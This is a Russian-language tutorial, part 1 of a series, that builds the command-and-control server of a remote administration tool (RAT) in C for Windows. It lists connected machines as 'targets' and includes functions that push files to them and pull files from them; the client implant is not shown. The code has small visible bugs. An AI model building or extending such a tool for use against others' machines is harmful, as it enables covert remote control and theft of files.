Пишем RAT (remote administration tool) на C. Часть 1
Life-Hack [Жизнь-Взлом]/ХакингВозможно, вы захотите узнать зачем нужен C, когда есть Python?
Если сравнивать Си и Питон, вы наверняка заметите разницу в количестве кода, для одного и того же действия, и польза будет явно не у Си.
Но сложность компенсируется размером скомпилированного приложения. В конце статьи мы сравним вес RAT-ов на Python с похожим функционалом и вес RAT-a на C.
Еще один минус Питона – для запуска файлов .py, на системе должен быть установлен этот самый Питон, конечно, вы можете скомпилировать скрипт, с помощью pyinstaller, но тогда ваши 20-30 килобайт кода превратятся в 20-30 мегабайт. Происходит это потому, что при компиляции к вашему коду добавляются не только библиотеки, но и интерпретатор, делая размер просто гигантским по сравнению с Си.
Помимо веса, важна скорость работы и тут Python тоже отстаёт, конечно, существуют библиотеки вроде pypy, но даже они не сравняться со скоростью C.
Сервер C2
Как и в прошлый раз, у нас будет управляющий сервер (C2), к которому будут подключатся клиенты. Для начала создадим заголовочный файл tools.h, в нем будут некоторые функции, которые мы будем использовать в клиенте и сервере (осторожно, дальше много кода).
#ifndef TOOLS_H
#define TOOLS_H
#define BUFLEN 8192
#define MEM_CHUNK 5
// Функция чтения/хранения stdin пока “\n” не будет найдено
size_t get_line(char* const buf) {
char c;
// Длина команды в байтах
size_t cmd_len = 0;
// Буфер с массивом команды в байтах, в котором создаем новый элемент и делаем его 0
buf[cmd_len++] = ‘0’;
// getchar() возвращает очередной символ из файла stdin, который считывается как переменная типа unsigned char
c = getchar();
while (c != ‘\n’ && cmd_len < BUFLEN) {
buf[cmd_len++] = c;
c = getchar();
}
return cmd_len;
}
// Функция сравнения двух строк
int compare(const char* buf, const char* str) {
for (int j = 0; str[j] != ‘\0’; j++) {
if (str[j] != buf[j])
return 0;
}
return 1;
}
// Функция копирования int байтов в новый блок памяти
static inline uint32_t ntohl_conv(char* const buf) {
uint32_t new;
memcpy(&new, buf, sizeof(new));
// Возвращаем переменную new после десериализации
return ntohl(new);
}
#endif
Теперь создадим файл win_server.c, в котором добавим нужные библиотеки и создадим структуры с переменными:
#include <WS2tcpip.h>
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include “tools.h”
#pragma comment(lib, “ws2_32.lib”)
typedef struct {
// Переменная с айпи/именем хоста
char* host;
// Переменная с сокетом
SOCKET sock;
} Conn;
typedef struct {
// Мьютекс для проверки race condition
HANDLE ghMutex;
// Сокет сервера для приема подключений
SOCKET listen_socket;
// Массив Conn объектов/структур
Conn* clients;
// Выделенные блоки памяти
size_t alloc;
// К-во используемой памяти
size_t size;
} Conn_map;
typedef int (*func)(char*, size_t, SOCKET);
Напишем функции создания и закрытия сокета:
// Функция закрытия сокета.
void terminate_server(SOCKET socket, char* error) {
int err_code = 0;
if (error) {
fprintf(stderr, “%s: ld\n”, error, WSAGetLastError());
err_code = 1;
}
closesocket(socket);
/*
Вызов WSACleanup позволяет системе освободить задействованные ресурсы.
Здесь та же политика что и с кучей – память, выделенная на куче, просто так не освобождается.
Поэтому, дабы избежать утечек памяти, нужно следить, чтобы все взятое у системы было ей обратно возвращено
*/
WSACleanup();
exit(err_code);
}
// Функция создания сокета.
const SOCKET create_socket() {
// Инициализируем winsock.
WSADATA wsData;
WORD ver = MAKEWORD(2, 2);
/* Функция WSAStartup инициализирует структуру данных WSADATA.
Поскольку эти структуры должны быть настроены для каждого процесса, использующего WinSock,
каждый процесс должен вызвать WSAStartup, чтобы инициализировать структуры в своем собственном пространстве памяти,
и WSACleanup, чтобы снова разорвать их, когда он закончит использовать сокеты
*/
int wsResult = WSAStartup(ver, &wsData);
// Создаем сокет сервера.
const SOCKET listen_socket = socket(AF_INET, SOCK_STREAM, 0);
/* В случае возникновения ошибки на этапе создания сокета сервера
выведем в консоль сообщение через функцию WSAGetLastError, думаю не нужно объяснять, что она делает
*/
if (listen_socket == INVALID_SOCKET) {
fprintf(stderr, “Socket creation failed: %ld\n”, WSAGetLastError());
WSACleanup();
exit(1);
}
int optval = 1;
if (setsockopt(listen_socket, SOL_SOCKET, SO_REUSEADDR, (const char*)&optval, sizeof(optval)) != 0)
terminate_server(listen_socket, “Error setting socket options”);
return listen_socket;
}
Функция привязки сокета к указанному порту:
// Функция для привязки сокета к указанному порту
void bind_socket(const SOCKET listen_socket, const int port) {
// Создаем hint структуру.
struct sockaddr_in hint;
hint.sin_family = AF_INET;
// Функция htons осуществляет перевод целого короткого числа из порядка байт, принятого на компьютере, в сетевой порядок байт
hint.sin_port = htons(port);
hint.sin_addr.S_un.S_addr = INADDR_ANY;
// Привязка ip-адреса и порта к listen_socket.
if (bind(listen_socket, (struct sockaddr*)&hint, sizeof(hint)) != 0)
terminate_server(listen_socket, “Socket bind failed with error”);
// Переводим listen_socket в состояние “прослушивания”
if (listen(listen_socket, SOMAXCONN) != 0)
terminate_server(listen_socket, “An error occured while placing the socket in listening state”);
}
Рекурсивный прием соединений:
// Поток для рекурсивного приема соединений
DWORD WINAPI accept_conns(LPVOID* lp_param) {
Conn_map* conns = (Conn_map*)lp_param;
conns->alloc = MEM_CHUNK;
conns->size = 0;
conns->clients = malloc(conns->alloc * sizeof(Conn));
conns->listen_socket = create_socket();
// Порт, на котором мы будем ждать подключений
bind_socket(conns->listen_socket, 4443);
while (1) {
struct sockaddr_in client;
int c_size = sizeof(client);
// Сокет клиента.
const SOCKET client_socket = accept(conns->listen_socket, (struct sockaddr*)&client, &c_size);
if (client_socket == INVALID_SOCKET)
terminate_server(conns->listen_socket, “Error accepting client connection”);
// Имя и порт клиента.
char host[NI_MAXHOST] = { 0 };
char service[NI_MAXHOST] = { 0 };
if (conns->size == conns->alloc)
conns->clients = realloc(conns->clients, (conns->alloc += MEM_CHUNK) * sizeof(Conn));
if (getnameinfo((struct sockaddr*)&client, sizeof(client), host, NI_MAXHOST, service, NI_MAXSERV, 0) == 0) {
printf(“%s connected on port %s\n”, host, service);
}
else {
inet_ntop(AF_INET, &client.sin_addr, host, NI_MAXHOST);
printf(“%s connected on port %hu\n”, host, ntohs(client.sin_port));
}
// Если delete_conn() выполняется – ждём, пока он закончит изменять conns->clients
WaitForSingleObject(conns->ghMutex, INFINITE);
// Добавляем имя хоста и объект client_socket в структуру Conn.
conns->clients[conns->size].host = host;
conns->clients[conns->size].sock = client_socket;
conns->size++;
ReleaseMutex(conns->ghMutex);
}
return -1;
}
Список подключенных клиентов:
// Функция, которая показывает список доступных подключений
void list_connections(const Conn_map* conns) {
printf(“\n\n—————————\n”);
printf(“— CONNECTED TARGETS —\n”);
printf(“– Hostname: ID –\n”);
printf(“—————————\n\n”);
if (conns->size) {
for (size_t i = 0; i < conns->size; i++) {
printf(“%s: %lu\n”, conns->clients[i].host, i);
}
printf(“\n\n”);
}
else {
printf(“No connected targets available.\n\n\n”);
}
}
Теперь создадим функции, которые будут отправлять команды клиенту:
Скачивание файла:
// Функция скачивания файла
int recv_file(char* const buf, const size_t cmd_len, const SOCKET client_socket) {
// ‘4’ – код команды для скачивания файла
buf[9] = ‘4’;
// Отправляем код команды и имя файла
if (send(client_socket, &buf[9], cmd_len, 0) < 1)
return SOCKET_ERROR;
FILE* fd = fopen(&buf[10], “wb”);
// Получаем сериализованный размер файла
if (recv(client_socket, buf, sizeof(uint32_t), 0) < 1)
return SOCKET_ERROR;
// Десериализируем размер файла в байтах
uint32_t f_size = ntohl_conv(&*(buf));
// Меняем i_result на true
int i_result = 1;
// Переменная для отслеживания загруженных данных
long int total = 0;
// Получить все байты/фрагменты файла и записать их в файл
while (total != f_size && i_result > 0) {
i_result = recv(client_socket, buf, BUFLEN, 0);
fwrite(buf, 1, i_result, fd);
total += i_result;
}
// Закрываем файл
fclose(fd);
return i_result;
}
Отправка файла:
// Функция отправки файла.
int send_file(char* const buf, const size_t cmd_len, const SOCKET client_socket) {
// ‘3’ – код команды для отправки файла
buf[7] = ‘3’;
// Отправляем код команды и имя файла
if (send(client_socket, &buf[7], cmd_len, 0) < 1)
return SOCKET_ERROR;
// Открываем файл
FILE* fd = fopen(&buf[8], “rb”);
uint32_t bytes = 0, f_size = 0;
// Еслий файл существует:
if (fd) {
// Получаем размер файла
fseek(fd, 0L, SEEK_END);
f_size = ftell(fd);
// Сериализация f_size.
bytes = htonl(f_size);
fseek(fd, 0L, SEEK_SET);
}
if (send(client_socket, (char*)&bytes, sizeof(bytes), 0) < 1)
return SOCKET_ERROR;
// Меняем i_result на true
int i_result = 1;
if (f_size) {
// Рекурсивно читаем и отправляем байты файла клиенту
int bytes_read;
while (!feof(fd) && i_result > 0) {
if (bytes_read = fread(buf, 1, BUFLEN, fd)) {
// Отправляем байты файла.
i_result = send(client_socket, buf, bytes_read, 0);
}
else {
break;
}
}
// Закрываем файл
fclose(fd);
}
return i_result;
}
Продолжение следует…